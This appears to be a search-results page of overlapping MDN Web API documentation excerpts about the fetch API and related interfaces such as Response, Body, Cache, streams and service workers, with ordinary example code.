...ers, and resend the request. block url blocks the selected url for future requests. see blocking a specific url from the request list. open in new tab resends the request in a new tab — very useful for debugging asynchronous requests. open in style editor for a css resource, opens it in the style editor. start performance analysis use as fetch in console submits the request as a call to the fetch() method in the console. copy as curl the command may include the following options: -x [method] if the method is not get or post --data for url encoded request parameters --data-binary for multipart request parameters --http/version if the http version is not 1.1 -i if th...
AbortController.abort() - Web APIs
the abort() method of the abortcontroller interface aborts a dom request (e.g. a fetch request) before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. syntax controller.abort(); parameters none. return value void. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). ...
... download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. ...
...l}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full wo...
AbortController.signal - Web APIs
the signal read-only property of the abortcontroller interface returns an abortsignal object instance, which can be used to communicate with/abort a dom request as desired. syntax var signal = abortcontroller.signal; value an abortsignal object instance. examples in the following snippet, we aim to download a video using the fetch api. ...
...municate with/abort a dom request as desired. syntax var signal = abortcontroller.signal; value an abortsignal object instance. examples in the following snippet, we aim to download a video using the fetch api. we first create a controller using the abortcontroller() constructor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.querys...
...l}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.addeventlistener('click', fetchvideo); abortbtn.addeventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {signal}).then(function(response) { ... }).catch(function(e) { reports.textcontent = 'download error: ' + e.message; }) } note: when abort() is called, the fetch() promise rejects with an aborterror. you can find a full wo...
Body.bodyUsed - Web APIs
Web › API › Body › bodyUsed
the bodyused read-only property of the body mixin contains a boolean that indicates whether the body has been read yet. syntax var mybodyused = response.bodyused; value a boolean. example in our fetch request example (run fetch request live), we create a new request using the request() constructor, then use it to fetch a jpg. when the fetch is successful, we read a blob out of the response using blob(), put it into an object url using url.createobjecturl, and then set that url as the source of an <img> element to display the image. notice that we log response.bodyused to the console once before the response.blob() call and once after. this returns false before and true afterwards, as at that point the body has been read. html content <img class="my-image" src="https://udn.realityrippl...
...f an <img> element to display the image. notice that we log response.bodyused to the console once before the response.blob() call and once after. this returns false before and true afterwards, as at that point the body has been read. ...
... living standard ...
Body.json() - Web APIs
Web › API › Body › json
m and reads it to completion. it returns a promise that resolves with the result of parsing the body text as json. syntax response.json().then(data => { // do something with your data }); parameters none. return value a promise that resolves to a javascript object. this object could be anything that can be represented by json — an object, an array, a string, a number... example in our fetch json example (run fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file. when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data. const mylist = document.queryselector('ul'); const myrequest = new request('...
... fetch json live), we create a new request using the request() constructor, then use it to fetch a .json file. when the fetch is successful, we read and parse the data using json(), then read values out of the resulting objects as you'd expect and insert them into list items to display our product data. const mylist = document.queryselector('ul'); const myrequest = new request('products.json'); fetch(myrequest) .then(response => response.json()) .then(data => { for (const product of data.products) { let listitem = document.createelement('li'); listitem.appendchild( document.createelement('strong') ).textcontent = product.name; listitem.append( ` can be found in ${ product.location }. cost: ` ); listitem.appendchild(...
... living standard initial definition ...
Body.text() - Web APIs
Web › API › Body › text
the text() method of the body mixin takes a response stream and reads it to completion. it returns a promise that resolves with a usvstring object (text). the response is always decoded using utf-8. syntax response.text().then(function (text) { // do something with the text response }); parameters none. return value a promise that resolves with a usvstring. example in our fetch text example (run fetch text live), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked. when getdata() is run, we create a new request using the request() construct...
...e), we have an <article> element and three links (stored in the mylinks array.) first, we loop through all of these and give each one an onclick event handler so that the getdata() function is run — with the link's data-page identifier passed to it as an argument — when one of the links is clicked. when getdata() is run, we create a new request using the request() constructor, then use it to fetch a specific .txt file. when the fetch is successful, we read a usvstring (text) object out of the response using text(), then set the innerhtml of the <article> element equal to the text object. let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(...
...ject. let myarticle = document.queryselector('article'); let mylinks = document.queryselectorall('ul a'); for(let i = 0; i <= mylinks.length-1; i++) { mylinks[i].onclick = function(e) { e.preventdefault(); let linkdata = e.target.getattribute('data-page'); getdata(linkdata); } }; function getdata(pageid) { console.log(pageid); var myrequest = new request(pageid + '.txt'); fetch(myrequest).then(function(response) { return response.text().then(function(text) { myarticle.innerhtml = text; }); }); } specifications specification status comment fetchthe definition of 'text()' in that specification. living standard ...
Body - Web APIs
Web › API › Body
body is implemented by both request and response. this provides these objects with an associated body (a stream), a used flag (initially unset), and a mime type (initially the empty byte sequence). properties body.body read only a simple getter used to expose a readablestream of the body contents. body.bodyused read only a boolean that indicates whether the body has been read. methods body.arraybuffer() takes a response stream and reads it to completion. it returns a promise that resolves with an arraybuffer. body.blob() takes a response stream and reads it to completion. ...
...t resolves with a formdata object. body.json() takes a response stream and reads it to completion. it returns a promise that resolves with the result of parsing the body text as json. body.text() takes a response stream and reads it to completion. it returns a promise that resolves with a usvstring (text). the response is always decoded using utf-8. ...
...e below uses a simple fetch call to grab an image and display it in an <img> tag. you'll notice that since we are requesting an image, we need to run body.blob() (response implements body) to give the response its correct mime type. html content <img class="my-image" src="https://udn.realityripple.com/samples/46/29059a2b39.png"> js content const myimage = document.queryselector('.my-image'); fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/delete_key1.jpg') .then(res => res.blob()) .then(res => { const objecturl = url.createobjecturl(res); myimage.src = objecturl; }); specifications specification status comment fetchthe definition of 'body' in that specification. living standard ...
Cache.put() - Web APIs
Web › API › Cache › put
the put() method of the cache interface allows key/value pairs to be added to the current cache object. often, you will just want to fetch() one or more requests, then add the result straight to your cache. in such cases you are better off using cache.add()/cache.addall(), as they are shorthand functions for one or more of these operations. fetch(url).then(function(response) { if (!response.ok) { throw new typeerror('bad response status'); } return cache.put(url, response); }) note: put() will overwrite any key/value pair previously stored in the cache that matches the request. note: cache.add/cache.addall do not cache responses with response.status values that are not in the 200 range, whereas cache.put lets you store any request/response pair. as a result, cache.add/cache.
...}); parameters request the request object or url that you want to add to the cache. response the response you want to match up to the request. return value a promise that resolves with undefined. note: the promise will reject with a typeerror if the url scheme is not http or https. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match(). if so, serve that. if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). clone is needed because put() consumes the ...
...e v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). clone is needed because put() consumes the response body. if this fails (e.g., because the network is down), return a fallback response. var response; var cachedresponse = caches.match(event.request).catch(function() { return fetch(event.request); }).then(function(r) { response = r; caches.open('v1').then(function(cache) { cache.put(event.request, response); }); return response.clone(); }).catch(function() { return caches.match('/sw-test/gallery/mylittlevader.jpg'); }); specifications specification status comment service workersthe definition of 'cache: put' in that specification. ...
CacheStorage.match() - Web APIs
object has a vary header or not. it defaults to false. cachename: a domstring that represents a specific cache to search within. return value a promise that resolves to the matching response. if no matching response to the specified request is found, the promise resolves with undefined. examples this example is from the mdn sw-test example (see sw-test running live). here we wait for a fetchevent to fire. we construct a custom response like so: check whether a match for the request is found in the cachestorage using cachestorage.match(). if so, serve that. if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). the last is necessary because put() consume...
...sing cachestorage.match(). if so, serve that. if not, open the v1 cache using open(), put the default network request in the cache using cache.put() and return a clone of the default network request using return response.clone(). the last is necessary because put() consumes the response body. if this fails (e.g., because the network is down), return a fallback response. ...
...the response body. if this fails (e.g., because the network is down), return a fallback response. ...
ClipboardItem() - Web APIs
rowser compatibility table for the clipboard interface. syntax var clipboarditem = new clipboarditem(clipboarditemdata); parameters clipboarditemdata an object with the mime type as the key and blob as the value. note: to work with text see the clipboard.readtext() and clipboard.writetext() methods of the clipboard interface. ...
...t() methods of the clipboard interface. examples the below example requests a png image using the fetch api, and in turn, the responses' blob() method, to create a new clipboarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. ...
...oarditem and write it to the clipboard, using the clipboard api. note: you can only pass in one clipboard item at a time. async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification. working draft initial definition. ...
Using files from web applications - Web APIs
the string "image/"). for each file that is an image, we create a new img element. css can be used to establish any pretty borders or shadows and to specify the size of the image, so that doesn't need to be done here. each image has the css class obj added to it, making it easy to find in the dom tree. we also add a file attribute to each image specifying the file for the image; this will let us fetch the images for actual upload later. we use node.appendchild() to add the new thumbnail to the preview area of our document. next, we establish the filereader to handle asynchronously loading the image and attaching it to the img element. after creating the new filereader object, we set up its onload function and then call readasdataurl() to start the read operation in the background. when the en...
...this is the block into which we'll insert our file list, including thumbnails. if the filelist object passed to handlefiles() is null, we simply set the inner html of the block to display "no files selected!". otherwise, we start building our file list, as follows: a new unordered list (<ul>) element is created. the new list element is inserted i...
...ery thumbnail image is in the css class obj with the corresponding file attached in a file attribute. this allows us to select all of the images the user has chosen for uploading using document.queryselectorall(), like this: function sendfiles() { const imgs = document.queryselectorall(".obj"); for (let i = 0; i < imgs.length; i++) { new fileupload(imgs[i], imgs[i].file); } } line 2 fetches a nodelist, called imgs, of all the elements in the document with the css class obj. in our case, these will be all of the image thumbnails. once we have that list, it's trivial to go through it and create a new fileupload instance for each. each of these handles uploading the corresponding file. handling the upload process for a file the fileupload function accepts two inputs: an image eleme...
HTMLImageElement.crossOrigin - Web APIs
the htmlimageelement interface's crossorigin attribute is a string which specifies the cross-origin resource sharing (cors) setting to use when retrieving the image. syntax htmlimageelement.crossorigin = crossoriginmode; let crossoriginmode = htmlimageelement.crossorigin; value a domstring of a keyword specifying the cors mode to use when fetching the image resource. if you don't specify crossorigin, the image is fetched without cors (the fetch no-cors mode). permitted values are: anonymous requests by the <img> element have their mode set to cors and their credentials mode set to same-origin. this means that cors is enabled and credentials are sent if the image is fetched from the same origin from which the document was loaded. use-credentials requests by the htmlimageelement will ...
... if crossorigin is an empty string (""), the anonymous mode is selected. ...
...empty string (""), the anonymous mode is selected. example in this example, a new <img> element is created and added to the document, loading the image with the anonymous state; the image will be loaded using cors and credentials will be used for all cross-origin loads. javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a newly-created image. const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); ...
Media Source API - Web APIs
us to replace the usual single track src value fed to media elements with a reference to a mediasource object, which is a container for information like the ready state of the media for being played, and references to multiple sourcebuffer objects that represent the different chunks of media that make up the entire stream. mse gives us finer grained control over how much and how often content is fetched, and some control over memory usage details, such as when buffers are evicted. it lays the groundwork for adaptive bitrate streaming clients (such as those using dash or hls) to be built on its extensible api. creating assets that work with mse in modern browsers is a laborious process, taking significant time, computing power, and energy. the usage of external utilities to massage the content...
...sage the content into a suitable format is required. while browser support for the various media containers with mse is spotty, usage of the h.264 video codec, aac audio codec, and mp4 container format is a common baseline. mse also provides an api for runtime detection of container and codec support. if you do not require explicit control of video quality over time, the rate at which content is fetched, or the rate at which memory is evicted, then the <video> and <source> tags may well be a simple and adequate solution. dash dynamic adaptive streaming over http (dash) is a protocol for specifying how adaptive content should be fetched. it is effectively a layer built on top of mse for building adaptive bitrate streaming clients. while there are other protocols available (such as http live s...
... indeed, one can support dash with a simple static file server, which is also great for cdns. this is in direct contrast with previous streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations. ...
Capabilities, constraints, and settings - Web APIs
how constraints are defined a single constraint is an object whose name matches the constrainable property whose desired value or range of values is being specified. this object contains zero or more individual constraints, as well as an optional sub-object named advanced, which...
...emember the difference between constraints and settings. constraints are a way to specify what values you need, want, and are willing to accept for the various constrainable properties (as described in the documentation for mediatrackconstraints), while settings are the actual values of each constrainable property at the current time. getting the constraints in effect if at any time you need to fetch the set of constraints that are currently applied to the media, you can get that information by calling mediastreamtrack.getconstraints(), as shown in the example below. function switchcameras(track, camera) { let constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } this function accepts a mediastreamtrack and a string indicating th...
...are currently applied to the media, you can get that information by calling mediastreamtrack.getconstraints(), as shown in the example below. function switchcameras(track, camera) { let constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } this function accepts a mediastreamtrack and a string indicating the camera facing mode to use, fetches the current constraints, sets the value of the mediatrackconstraints.facingmode to the specified value, then applies the updated constraint set. getting the current settings for a track unless you only use exact constraints (which is pretty restrictive, so be sure you mean it!), there's no guarantee exactly what you're going to actually get after the constraints are applied. the values of the...
NavigationPreloadManager - Web APIs
tion-preload. ...
...ion preloading addeventlistener('activate', event => { event.waituntil(async function() { if (self.registration.navigationpreload) { // enable navigation preloads! await self.registration.navigationpreload.enable(); } }()); }); using a preloaded response the following example shows the implementation of a fetch event that uses a preloaded response. ...
... working draft initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
PasswordCredential - Web APIs
note: this interface is restricted to top-level contexts and cannot be used from an <iframe>. constructor passwordcredential()secure context creates a new passwordcredential object. properties inherits properties from its ancestor, credential. ...
... passwordcredential.iconurl read only secure context a usvstring containing a url pointing to an image for an icon. this image is intended for display in a credential chooser. the url must be accessible without authentication. passwordcredential.idname secure context a usvstring containing the name that will be used for the id field when submitting the current object to a remote endpoint via fetch. this property defaults to 'username', but may be overridden to match whatever the backend service expects. passwordcredential.name read only secure context a usvstring containing a human-readable public name for display in a credential chooser. passwordcredential.password read only secure context a usvstring containing the password of the credential. passwordcredential.passwordname secure ...
...secure context a usvstring containing a human-readable public name for display in a credential chooser. passwordcredential.password read only secure context a usvstring containing the password of the credential. passwordcredential.passwordname secure context a usvstring representing the name that will be used for the password field when submitting the current object to a remote endpoint via fetch. this property defaults to 'password', but may be overridden to match whatever the backend service expects. event handlers none. methods none. examples var cred = new passwordcredential({ id: id, password: password, name: name, iconurl: iconurl }); navigator.credentials.store(cred) .then(function() { // do something else. }); specifications specification status ...
PerformanceResourceTiming.transferSize - Web APIs
the size includes the response header fields plus the response payload body (rfc7230). example the following example, the value of size properties of all "resource" type events are logged. ...
...the size includes the response header fields plus the response payload body (rfc7230). example the following example, the value of size properties of all "resource" type events are logged. ...
...the size includes the response header fields plus the response payload body (rfc7230). example the following example, the value of size properties of all "resource" type events are logged. function log_sizes(perfentry){ // check for support of the performanceentry.*size properties and print their values // if supported. ...
PublicKeyCredential.response - Web APIs
the information contained in this response will be used by the relying party's server to verify the demand is legitimate. an authenticatorresponse is either: an authenticatorattestationresponse (when the publickeycredential is created via credentialscontainer.create()) an authenticatorassertionresponse (when the publickeycredential is obtained via credentialscontainer.get()). ...
...reated via credentialscontainer.create()) an authenticatorassertionresponse (when the publickeycredential is obtained via credentialscontainer.get()). in order to validate the creation of credentials, a relying party's server needs both: this response the extensions of the client (given by publickeycredential.getclientextensionresults()) to validate the demand. note: when validating the fetching of existing credentials, the whole publickeycredential object and the client extensions are necessary for the relying party's server. note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receiv...
... for the relying party's server. note: this property may only be used in top-level contexts and will not be available in an <iframe> for example. syntax response = publickeycredential.response value an authenticatorresponse object containing the data a relying party's script will receive and which should be sent to the relying party's server in order to validate the demand for creation or fetching. this object contains data from the client (authenticatorresponse/clientdatajson) and from the authenticator. examples var options = { challenge: new uint8array(16) /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /* from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycred...
ReadableStream.cancel() - Web APIs
ntroller.close(). syntax var promise = readablestream.cancel(reason); parameters reason a domstring providing a human-readable reason for the cancellation. return value a promise, which fulfills with the value given in the reason parameter. exceptions typeerror the stream you are trying to cancel is not a readablestream, or it is locked. examples in jake archibald's cancelling a fetch example, a stream is used to fetch the whatwg html spec chunk by chunk; each chunk is searched for the string "service workers". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. var searchterm = "service workers"; // chars to show either side of the result in the match var contextbefore = 30; var contextafter = 30; var casei...
... workers". when the search terms is found, cancel() is used to cancel the stream — the job is finished so it is no longer needed. ...
...see devtools for details. does the response lack cors headers?"); throw err; }); specifications specification status comment s...
ReadableStream - Web APIs
constructor readablestream() creates and returns a readable stream object from the given handlers. properties readablestream.locked read only the locked getter returns whether or not the readable stream is locked to a reader. methods readablestream.cancel() cancels the stream, signaling a loss of interest in the stream by a consumer. the supplied reason argument will be given to the underlying source, which may or may not use it. ...
...ere encountered. readablestream.tee() the tee method tees this readable stream, returning a two-element array containing the two resulting branches as new readablestream instances. each of those streams receives the same incoming data. readablestream[@@asynciterator]() alias of getiterator method. ...
...wo resulting branches as new readablestream instances. each of those streams receives the same incoming data. readablestream[@@asynciterator]() alias of getiterator method. examples in the following example, an artificial response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
ReadableStreamDefaultReader - Web APIs
constructor readablestreamdefaultreader() creates and returns a readablestreamdefaultreader object instance. properties readablestreamdefaultreader.closed read only allows you to write code that responds to an end to the streaming process. returns a promise that fulfills if the stream becomes closed or the reader's lock is released, or rejects if the stream errors. ...
...e supplied reason argument will be given to the underlying source, which may or may not use it. readablestreamdefaultreader.read() returns a promise providing access to the next chunk in the stream's internal queue. readablestreamdefaultreader.releaselock() releases the reader's lock on the stream. ...
...d() returns a promise providing access to the next chunk in the stream's internal queue. readablestreamdefaultreader.releaselock() releases the reader's lock on the stream. examples in the following example, an artifical response is created to stream html fragments fetched from another resource to the browser. it demonstrates the usage of a readablestream in combination with a uint8array. ...
Response() - Web APIs
Web › API › Response › Response
empty object (which is the default value). the possible options are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a reference). ...
...default value). the possible options are: status: the status code for the reponse, e.g., 200. statustext: the status message associated with the status code, e.g., ok. headers: any headers you want to add to your response, contained within a headers object or object literal of bytestring key/value pairs (see http headers for a reference). ...
...ponse example (see fetch response live) we create a new response object using the constructor, passing it a new blob as a body, and an init object containing a custom status and statustext: var myblob = new blob(); var init = { "status" : 200 , "statustext" : "supersmashinggreat!" }; var myresponse = new response(myblob,init); specifications specification status comment fetchthe definition of 'response()' in that specification. living standard initial definition ...
Response.headers - Web APIs
Web › API › Response › headers
the headers read-only property of the response interface contains the headers object associated with the response. syntax var myheaders = response.headers; value a headers object. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
...se.headers; value a headers object. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response headers value to the console. ...
...onstructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response headers value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.headers); // returns a headers{} object response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'headers' in that specification. living standard initial definition ...
Response.ok - Web APIs
Web › API › Response › ok
the ok read-only property of the response interface contains a boolean stating whether the response was successful (status in the range 200-299) or not. syntax var myok = response.ok; value a boolean. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
...r myok = response.ok; value a boolean. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note: at the top of the fetch() block we log the response ok value to the console. ...
...est() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note: at the top of the fetch() block we log the response ok value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.ok); // returns true if the response returned successfully response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'ok' in that specification. living standard initial...
Response.status - Web APIs
Web › API › Response › status
the status read-only property of the response interface contains the status code of the response (e.g., 200 for a success). syntax var mystatus = response.status; value a number (to be precise, an unsigned short). example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
...r (to be precise, an unsigned short). example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response status value to the console. ...
...constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response status value to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.status); // returns 200 response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'status' in that specification. living standard initial definition ...
Response.url - Web APIs
Web › API › Response › url
the url read-only property of the response interface contains the url of the response. the value of the url property will be the final url obtained after any redirects. syntax var myurl = response.url; value a usvstring. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. ...
... = response.url; value a usvstring. example in our fetch response example (see fetch response live) we create a new request object using the request() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response url to the console. ...
...equest() constructor, passing it a jpg path. we then fetch this request using fetch(), extract a blob from the response using body.blob, create an object url out of it using url.createobjecturl, and display this in an <img>. note that at the top of the fetch() block we log the response url to the console. var myimage = document.queryselector('img'); var myrequest = new request('flowers.jpg'); fetch(myrequest).then(function(response) { console.log(response.url); // returns /docs/web/api/response/flowers.jpg response.blob().then(function(myblob) { var objecturl = url.createobjecturl(myblob); myimage.src = objecturl; }); }); specifications specification status comment fetchthe definition of 'url' in that specification. living standard initial defin...
ServiceWorkerGlobalScope: pushsubscriptionchange event - Web APIs
on was refreshed by the browser, but it may also happen if the subscription has been revoked or lost. bubbles no cancelable no interface pushsubscriptionchangeevent event handler property onpushsubscriptionchange usage notes although examples demonstrating how to share subscription related information with the application server tend to use fetch(), this is not necessarily the best choice for real-world use, since it will not work if the app is offline, for example. consider using another method to synchronize subscription information between your service worker and the app server, or make sure your code using fetch() is robust enough to handle cases where attempts to exchange data fail. note: in earlier drafts of the specification, th...
...s defined to be sent when a pushsubscription has expired. examples this example, run in the context of a service worker, listens for a pushsubscriptionchange event and re-subscribes to the lapsed subscription. self.addeventlistener("pushsubscriptionchange", event => { event.waituntil(swregistration.pushmanager.subscribe(event.oldsubscription.options) .then(subscription => { return fetch("register", { method: "post", headers: { "content-type": "application/json" }, body: json.stringify({ endpoint: subscription.endpoint }) }); }) ); }, false); when a pushsubscriptionchange event arrives, indicating that the subscription has expired, we resubscribe by calling the push manager's subscribe() method. when the ret...
... }, body: json.stringify({ endpoint: subscription.endpoint }) }); }) ); }, false); when a pushsubscriptionchange event arrives, indicating that the subscription has expired, we resubscribe by calling the push manager's subscribe() method. when the returned promise is resolved, we receive the new subscription. this is delivered to the app server using a fetch() call to post a json formatted rendition of the subscription's endpoint to the app server. you can also use the onpushsubscriptionchange event handler property to set up the event handler: self.onpushsubscriptionchange = event => { event.waituntil(swregistration.pushmanager.subscribe(event.oldsubscription.options) .then(subscription => { /* ... */ ) }; specifications ...
ServiceWorkerRegistration.update() - Web APIs
note: this feature is available in web workers. syntax serviceworkerregistration.update(); parameters none. return value a promise that resolves with a serviceworkerregistration object. ...
... note: this feature is available in web workers. syntax serviceworkerregistration.update(); parameters none. return value a promise that resolves with a serviceworkerregistration object. ...
... note: this feature is available in web workers. syntax serviceworkerregistration.update(); parameters none. return value a promise that resolves with a serviceworkerregistration object. ...
Streams API concepts - Web APIs
n that you want to get data from. there are two types of underlying source: push sources constantly push data at you when you’ve accessed them, and it is up to you to start, pause, or cancel access to the stream. examples include video streams and tcp/web sockets. pull sources require you to explicitly request data from them once connected to. examples include a file access operation via a fetch or xhr call. the data is read sequentially in small pieces called chunks. a chunk can be a single byte, or it can be something larger such as a typed array of a certain size. a single stream can contain chunks of different sizes and types. the chunks placed in a stream are said to be enqueued — this means they are waiting in a queue ready to be read. an internal queue keeps track of the ch...
...s on how the stream was created in the first place (see the readablestream() constructor page). important: byte streams are not implemented anywhere as yet, and questions have been raised as to whether the spec details are in a finished enough state for them to be implemented. this may change over time. you can make use of ready-made readable streams via mechanisms like a response.body from a fetch request, or roll your own streams using the readablestream() constructor. teeing even though only a single reader can read a stream at once, it is possible to split a stream into two identical copies, which can then be read by two separate readers. this is called teeing. in javascript, this is achieved via the readablestream.tee() method — it outputs an array containing two identical copies ...
...o split a stream into two identical copies, which can then be read by two separate readers. this is called teeing. in javascript, this is achieved via the readablestream.tee() method — it outputs an array containing two identical copies of the original readable stream, which can then be read independently by two separate readers. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this. writable streams a writable stream is a destination into which you can write data, represented in javascript by a writablestream object. t...
WebGLRenderingContext.vertexAttribPointer() - Web APIs
[1.0, 0.0, 0.0], "texcoord": [0.5, 0.25] } will be stored in the array buffer as follows: 00 00 80 3f 00 00 00 40 00 00 0c 3f 7f 00 00 00 7f ff 3f ff creating the array buffer first, we dynamically create the array buffer from json data using a dataview. note the use of true because webgl expects our data to be in little-endian. ...
...l be stored in the array buffer as follows: 00 00 80 3f 00 00 00 40 00 00 0c 3f 7f 00 00 00 7f ff 3f ff creating the array buffer first, we dynamically create the array buffer from json data using a dataview. note the use of true because webgl expects our data to be in little-endian. ...
...* 0x7f); dv.setint8(20 * i + 15, 0); dv.setuint16(20 * i + 16, vertices[i].texcoord[0] * 0xffff, true); dv.setuint16(20 * i + 18, vertices[i].texcoord[1] * 0xffff, true); } for higher performance, we could also do the previous json to arraybuffer conversion on the server-side, e.g. with node.js. ...
Using textures in WebGL - Web APIs
of 0.0 to 1.0 regardless of their actual size, for the purpose of texture mapping. once we've set up the texture mapping array, we pass the array into the buffer, so that webgl has that data ready for its use. updating the shaders the shader program also needs to be updated to use the textures instead of solid colors. the vertex shader we need to replace the vertex shader so that instead of fetching color data, it instead fetches the texture coordinate data. const vssource = ` attribute vec4 avertexposition; attribute vec2 atexturecoord; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; varying highp vec2 vtexturecoord; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vtexturecoord = atexturecoor...
